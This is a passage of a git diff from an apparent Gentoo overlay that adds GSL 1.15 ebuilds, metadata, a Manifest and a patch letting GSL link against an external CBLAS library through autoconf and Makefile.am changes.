../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/Makefile.am gsl-1.15/Makefile.am +--- gsl-1.15.orig/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -19,13 +19,12 @@ + + lib_LTLIBRARIES = libgsl.la + libgsl_la_SOURCES = version.c +-libgsl_la_LIBADD = $(SUBLIBS) ++libgsl_la_LIBADD = $(SUBLIBS) @CBLAS_LINK_LIBS@ + libgsl_la_LDFLAGS = -version-info $(GSL_LT_VERSION) + noinst_HEADERS = templates_on.h templates_off.h build.h + + MINGW32_HOST = @MINGW32_HOST@ + if MINGW32_HOST +-libgsl_la_LIBADD += cblas/libgslcblas.la + libgsl_la_LDFLAGS += -no-undefined + endif + +@@ -35,10 +34,10 @@ + bin_PROGRAMS = gsl-randist gsl-histogram + + gsl_randist_SOURCES = gsl-randist.c +-gsl_randist_LDADD = libgsl.la cblas/libgslcblas.la ++gsl_randist_LDADD = libgsl.la + + gsl_histogram_SOURCES = gsl-histogram.c +-gsl_histogram_LDADD = libgsl.la cblas/libgslcblas.la ++gsl_histogram_LDADD = libgsl.la + + check_SCRIPTS = test_gsl_histogram.sh pkgconfig.test + TESTS = test_gsl_histogram.sh pkgconfig.test +@@ -57,6 +56,8 @@ + -e 's|@GSL_CFLAGS[@]|$(GSL_CFLAGS)|g' \ + -e 's|@GSL_LIBM[@]|$(GSL_LIBM)|g' \ + -e 's|@GSL_LIBS[@]|$(GSL_LIBS)|g' \ ++ -e 's|@CBLAS_CFLAGS[@]|$(CBLAS_CFLAGS)|g' \ ++ -e 's|@CBLAS_LIBS[@]|$(CBLAS_LIBS)|g' \ + -e 's|@LIBS[@]|$(LIBS)|g' \ + -e 's|@VERSION[@]|$(VERSION)|g' + +diff -Nur gsl-1.15.orig/multifit/Makefile.am gsl-1.15/multifit/Makefile.am +--- gsl-1.15.orig/multifit/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multifit/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -13,8 +13,8 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c +-test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la ++test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la + + #demo_SOURCES = demo.c +-#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la ++#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la + +diff -Nur gsl-1.15.orig/multimin/Makefile.am gsl-1.15/multimin/Makefile.am +--- gsl-1.15.orig/multimin/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multimin/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -13,8 +13,8 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c test_funcs.c test_funcs.h +-test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + #demo_SOURCES = demo.c +-#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + +diff -Nur gsl-1.15.orig/multiroots/Makefile.am gsl-1.15/multiroots/Makefile.am +--- gsl-1.15.orig/multiroots/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multiroots/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -15,5 +15,5 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c test_funcs.c test_funcs.h +-test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + +diff -Nur gsl-1.15.orig/ode-initval/Makefile.am gsl-1.15/ode-initval/Makefile.am +--- gsl-1.15.orig/ode-initval/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/ode-initval/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/poly/Makefile.am gsl-1.15/poly/Makefile.am +--- gsl-1.15.orig/poly/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/poly/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-check_PROGRAMS = test ++#check_PROGRAMS = test + + test_SOURCES = test.c + test_LDADD = libgslpoly.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la +diff -Nur gsl-1.15.orig/specfunc/Makefile.am gsl-1.15/specfunc/Makefile.am +--- gsl-1.15.orig/specfunc/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/specfunc/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + check_PROGRAMS = test + +-test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test_sf.c test_sf.h test_airy.c test_bessel.c test_coulomb.c test_dilog.c test_gamma.c test_hyperg.c test_legendre.c test_mathieu.c + +diff -Nur gsl-1.15.orig/wavelet/Makefile.am gsl-1.15/wavelet/Makefile.am +--- gsl-1.15.orig/wavelet/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/wavelet/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslwavelet.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslwavelet.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + diff --git a/sci-libs/gsl-empty/gsl-empty-1.15.ebuild b/sci-libs/gsl-empty/gsl-empty-1.15.ebuild new file mode 100644 index 00000000..aa5de3c1 --- /dev/null +++ b/sci-libs/gsl-empty/gsl-empty-1.15.ebuild @@ -0,0 +1,112 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils flag-o-matic autotools toolchain-funcs + +MY_PN="gsl" +MY_P="${MY_PN}"-"${PV}" + +DESCRIPTION="The GNU Scientific Library" +HOMEPAGE="http://www.gnu.org/software/gsl/" +SRC_URI="mirror://gnu/${MY_PN}/${MY_P}.tar.gz" + + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~x86-interix ~amd64-linux ~x86-linux ~x86-macos ~sparc-solaris ~x86-solaris" +IUSE="cblas-external static-libs" + +RDEPEND="cblas-external? ( virtual/cblas )" +DEPEND="${RDEPEND} + app-admin/eselect-cblas + virtual/pkgconfig" + +DOCS=( AUTHORS BUGS ChangeLog NEWS README THANKS TODO ) + +S="${WORKDIR}"/${MY_P} + +pkg_pretend() { + if [[ ${MERGE_TYPE} != binary ]]; then + # prevent to use external cblas from a previously installed gsl + local current_lib + if use cblas-external; then + current_lib=$(eselect cblas show | cut -d' ' -f2) + if [[ ${current_lib} == gsl ]]; then + ewarn "USE flag cblas-external is set: linking gsl with an external cblas." + ewarn "However the current selected external cblas is gsl." + ewarn "Please install and/or eselect another cblas" + die "Circular gsl dependency" + fi + fi + fi +} + +pkg_setup() { + ESELECT_PROF="gsl" + + if [[ ${MERGE_TYPE} != binary ]]; then + # bug 349005 + [[ $(tc-getCC)$ == *gcc* ]] && \ + [[ $(tc-getCC)$ != *apple* ]] && \ + [[ $(gcc-major-version)$(gcc-minor-version) -eq 44 ]] \ + && filter-mfpmath sse + filter-flags -ffast-math + fi +} + +src_prepare() { + epatch "${FILESDIR}"/${MY_P}-cblas.patch + + cp "${FILESDIR}"/eselect.cblas.gsl "${T}"/ + sed -i -e "s:/usr:${EPREFIX}/usr:" "${T}"/eselect.cblas.gsl || die + if [[ ${CHOST} == *-darwin* ]] ; then + sed -i -e 's/\.so\([\.0-9]\+\)\?/\1.dylib/g' \ + "${T}"/eselect.cblas.gsl || die + fi +} + +src_configure() { + if use cblas-external; then + export CBLAS_LIBS="$($(tc-getPKG_CONFIG) --libs cblas)" + export CBLAS_CFLAGS="$($(tc-getPKG_CONFIG) --cflags cblas)" + fi + econf \ + --enable-shared \ + --prefix=/opt/gsl \ + --sysconfdir=/opt/gsl/etc \ + $(use_with cblas-external cblas) \ + $(use_enable static-libs static) +} + +src_install() { + #default + + find "${ED}" -name '*.la' -exec rm -f {} + + + # take care of pkgconfig file for cblas implementation. + sed -e "s/@LIBDIR@/$(get_libdir)/" \ + -e "s/@PV@/${PV}/" \ + -e "/^prefix=/s:=:=${EPREFIX}:" \ + -e "/^libdir=/s:=:=${EPREFIX}:" \ + "${FILESDIR}"/cblas.pc.in > cblas.pc \ + || die "sed cblas.pc failed" +} + +pkg_postinst() { + local p=cblas + local current_lib=$(eselect ${p} show | cut -d' ' -f2) + if [[ ${current_lib} == ${ESELECT_PROF} || -z ${current_lib} ]]; then + # work around eselect bug #189942 + local configfile="${EROOT}"/etc/env.d/${p}/$(get_libdir)/config + [[ -e ${configfile} ]] && rm -f ${configfile} + eselect ${p} set ${ESELECT_PROF} + elog "${p} has been eselected to ${ESELECT_PROF}" + else + elog "Current eselected ${p} is ${current_lib}" + elog "To use ${p} ${ESELECT_PROF} implementation, you have to issue (as root):" + elog "\t eselect ${p} set ${ESELECT_PROF}" + fi +} diff --git a/sci-libs/gsl-empty/metadata.xml b/sci-libs/gsl-empty/metadata.xml new file mode 100644 index 00000000..7ab2ed03 --- /dev/null +++ b/sci-libs/gsl-empty/metadata.xml @@ -0,0 +1,22 @@ + + + + sci + + The GNU Scientific Library (GSL) is a collection of routines for + numerical analysis. The routines are written from scratch by the GSL + team in C, and present a modern API for C programmers, while allowing + wrappers to be written for very high level languages. + + GSL includes data types and routines for complex numbers, vectors, + matrices, basic linear algebra subroutines (BLAS), eigensystems, + simulated annealing, minimization, root finding, pseudo-random + numbers, least-squares fitting, fast Fourier transforms (FFT), + differential equations, quadrature, Monte Carlo integration, special + functions, physical constants, and much more. + + + Link gsl with external cblas provided by + (virtual/cblas) instead of shipped internal version + + diff --git a/sci-libs/gsl/Manifest b/sci-libs/gsl/Manifest new file mode 100644 index 00000000..c29b99c1 --- /dev/null +++ b/sci-libs/gsl/Manifest @@ -0,0 +1 @@ +DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478 diff --git a/sci-libs/gsl/files/cblas.pc.in b/sci-libs/gsl/files/cblas.pc.in new file mode 100644 index 00000000..a2580f85 --- /dev/null +++ b/sci-libs/gsl/files/cblas.pc.in @@ -0,0 +1,12 @@ +prefix=/usr +exec_prefix=${prefix} +libdir=/usr/@LIBDIR@ +includedir=${prefix}/include + +Name: cblas +Description: GSL C Implementation of the Basic Linear Algebra Subprograms +Version: @PV@ +URL: http://www.gnu.org/software/gsl +Libs: -L${libdir} -lcblas +Libs.private: -lm +Cflags: -I${includedir} diff --git a/sci-libs/gsl/files/eselect.cblas.gsl b/sci-libs/gsl/files/eselect.cblas.gsl new file mode 100644 index 00000000..af6fee51 --- /dev/null +++ b/sci-libs/gsl/files/eselect.cblas.gsl @@ -0,0 +1,5 @@ +libgslcblas.so /usr/@LIBDIR@/libcblas.so +libgslcblas.so.0 /usr/@LIBDIR@/libcblas.so.0 +libgslcblas.a /usr/@LIBDIR@/libcblas.a +../blas/gsl/cblas.pc /usr/@LIBDIR@/pkgconfig/cblas.pc +gsl/gsl_cblas.h /usr/include/cblas.h diff --git a/sci-libs/gsl/files/gsl-1.15-cblas.patch b/sci-libs/gsl/files/gsl-1.15-cblas.patch new file mode 100644 index 00000000..dd402f39 --- /dev/null +++ b/sci-libs/gsl/files/gsl-1.15-cblas.patch @@ -0,0 +1,286 @@ +diff -Nur gsl-1.15.orig/acx_cblas.m4 gsl-1.15/acx_cblas.m4 +--- gsl-1.15.orig/acx_cblas.m4 1970-01-01 01:00:00.000000000 +0100 ++++ gsl-1.15/acx_cblas.m4 2011-07-28 22:16:03.000000000 +0100 +@@ -0,0 +1,60 @@ ++AC_DEFUN([ACX_CBLAS],[ ++ use_cblas=no ++ use_cblas_libs="-lcblas -lblas" ++ use_cblas_cflags="" ++ ++ AC_ARG_WITH(cblas, ++ [AS_HELP_STRING([--with-cblas], [use external CBLAS library (default is no)])]) ++ ++ case $with_cblas in ++ yes) use_cblas=yes ;; ++ no | "" ) use_cblas=no ;; ++ -* | */* | *.a | *.so | *.so.* | *.o) use_cblas_libs="$with_cblas" ;; ++ *) use_cblas_libs="-l$with_cblas" ;; ++ esac ++ ++ AC_ARG_WITH(cblas-libs, ++ [AS_HELP_STRING([--with-cblas-libs=], ++ [external cblas libraries to link with (default is "$use_cblas_libs")])], ++ [use_cblas_libs=$withval], []) ++ ++ AC_ARG_WITH(cblas-cflags, ++ [AS_HELP_STRING([--with-cblas-cflags=], ++ [extra cflags to compile with external cblas ("-I")])], ++ [use_cblas_cflags=$withval], []) ++ ++ if test x$use_cblas != xno; then ++ if test "x$CBLAS_LIBS" = x; then ++ CBLAS_LIBS="$use_cblas_libs" ++ fi ++ if test "x$CBLAS_FLAGS" = x; then ++ CBLAS_CFLAGS="$use_cblas_cflags" ++ fi ++ ++ CFLAGS_sav="$CFLAGS" ++ CFLAGS="$CFLAGS $CBLAS_CFLAGS" ++ AC_CHECK_HEADER(cblas.h, , ++ [AC_MSG_ERROR([ ++ *** Header file cblas.h not found. ++ *** If you installed cblas header in a non standard place, ++ *** specify its install prefix using the following option ++ *** --with-cblas-cflags="-I"]) ++ ]) ++ CFLAGS="$CFLAGS_sav" ++ ++ LIBS_sav="$LIBS" ++ LIBS="$LIBS $CBLAS_LIBS -lm" ++ AC_MSG_CHECKING([for cblas_sgemm in $CBLAS_LIBS]) ++ AC_TRY_LINK_FUNC(cblas_sgemm, [use_cblas=yes], ++ [AC_MSG_ERROR([ ++ *** Linking with cblas with $LIBS failed. ++ *** If you installed cblas library in a non standard place, ++ *** specify its install prefix using the following option ++ *** --with-cblas-libs="-L -l"]) ++ ]) ++ AC_MSG_RESULT($use_cblas) ++ LIBS="$LIBS_sav" ++ AC_SUBST(CBLAS_CFLAGS) ++ AC_SUBST(CBLAS_LIBS) ++ fi ++]) +diff -Nur gsl-1.15.orig/bspline/Makefile.am gsl-1.15/bspline/Makefile.am +--- gsl-1.15.orig/bspline/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/bspline/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,6 +12,6 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la ++test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la + + test_SOURCES = test.c +diff -Nur gsl-1.15.orig/configure.ac gsl-1.15/configure.ac +--- gsl-1.15.orig/configure.ac 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/configure.ac 2011-07-28 22:16:03.000000000 +0100 +@@ -190,6 +190,16 @@ + AC_CHECK_LIB(m, cos) + fi + ++sinclude(acx_cblas.m4) ++ACX_CBLAS ++if test "x$CBLAS_LIBS" != "x"; then ++ CBLAS_LINK_LIBS="$CBLAS_LIBS" ++else ++ CBLAS_LINK_LIBS="\$(top_builddir)/cblas/libgslcblas.la" ++ CBLAS_LIBS="-lgslcblas" ++fi ++AC_SUBST(CBLAS_LINK_LIBS) ++ + dnl Remember to put a definition in acconfig.h for each of these + AC_CHECK_DECLS(feenableexcept,,,[#define _GNU_SOURCE 1 + #include ]) +diff -Nur gsl-1.15.orig/eigen/Makefile.am gsl-1.15/eigen/Makefile.am +--- gsl-1.15.orig/eigen/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/eigen/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -11,7 +11,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgsleigen.la ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la ++test_LDADD = libgsleigen.la ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/gsl-config.in gsl-1.15/gsl-config.in +--- gsl-1.15.orig/gsl-config.in 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/gsl-config.in 2011-07-28 22:16:03.000000000 +0100 +@@ -58,11 +58,11 @@ + ;; + + --cflags) +- echo @GSL_CFLAGS@ ++ echo @GSL_CFLAGS@ @CBLAS_CFLAGS@ + ;; + + --libs) +- : ${GSL_CBLAS_LIB=-lgslcblas} ++ : ${GSL_CBLAS_LIB=@CBLAS_LIBS@} + echo @GSL_LIBS@ $GSL_CBLAS_LIB @GSL_LIBM@ + ;; + +diff -Nur gsl-1.15.orig/gsl.pc.in gsl-1.15/gsl.pc.in +--- gsl-1.15.orig/gsl.pc.in 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/gsl.pc.in 2011-07-28 22:20:14.000000000 +0100 +@@ -2,7 +2,7 @@ + exec_prefix=@exec_prefix@ + libdir=@libdir@ + includedir=@includedir@ +-GSL_CBLAS_LIB=-lgslcblas ++GSL_CBLAS_LIB=@CBLAS_LIBS@ + + Name: GSL + Description: GNU Scientific Library +diff -Nur gsl-1.15.orig/interpolation/Makefile.am gsl-1.15/interpolation/Makefile.am +--- gsl-1.15.orig/interpolation/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/interpolation/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/linalg/Makefile.am gsl-1.15/linalg/Makefile.am +--- gsl-1.15.orig/linalg/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/linalg/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + check_PROGRAMS = test + +-test_LDADD = libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/Makefile.am gsl-1.15/Makefile.am +--- gsl-1.15.orig/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -19,13 +19,12 @@ + + lib_LTLIBRARIES = libgsl.la + libgsl_la_SOURCES = version.c +-libgsl_la_LIBADD = $(SUBLIBS) ++libgsl_la_LIBADD = $(SUBLIBS) @CBLAS_LINK_LIBS@ + libgsl_la_LDFLAGS = -version-info $(GSL_LT_VERSION) + noinst_HEADERS = templates_on.h templates_off.h build.h + + MINGW32_HOST = @MINGW32_HOST@ + if MINGW32_HOST +-libgsl_la_LIBADD += cblas/libgslcblas.la + libgsl_la_LDFLAGS += -no-undefined + endif + +@@ -35,10 +34,10 @@ + bin_PROGRAMS = gsl-randist gsl-histogram + + gsl_randist_SOURCES = gsl-randist.c +-gsl_randist_LDADD = libgsl.la cblas/libgslcblas.la ++gsl_randist_LDADD = libgsl.la + + gsl_histogram_SOURCES = gsl-histogram.c +-gsl_histogram_LDADD = libgsl.la cblas/libgslcblas.la ++gsl_histogram_LDADD = libgsl.la + + check_SCRIPTS = test_gsl_histogram.sh pkgconfig.test + TESTS = test_gsl_histogram.sh pkgconfig.test +@@ -57,6 +56,8 @@ + -e 's|@GSL_CFLAGS[@]|$(GSL_CFLAGS)|g' \ + -e 's|@GSL_LIBM[@]|$(GSL_LIBM)|g' \ + -e 's|@GSL_LIBS[@]|$(GSL_LIBS)|g' \ ++ -e 's|@CBLAS_CFLAGS[@]|$(CBLAS_CFLAGS)|g' \ ++ -e 's|@CBLAS_LIBS[@]|$(CBLAS_LIBS)|g' \ + -e 's|@LIBS[@]|$(LIBS)|g' \ + -e 's|@VERSION[@]|$(VERSION)|g' + +diff -Nur gsl-1.15.orig/multifit/Makefile.am gsl-1.15/multifit/Makefile.am +--- gsl-1.15.orig/multifit/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/multifit/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -13,8 +13,8 @@ + TESTS = $(check_PROGRAMS) + + test_SOURCES = test.c +-test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la ++test_LDADD = libgslmultifit.la 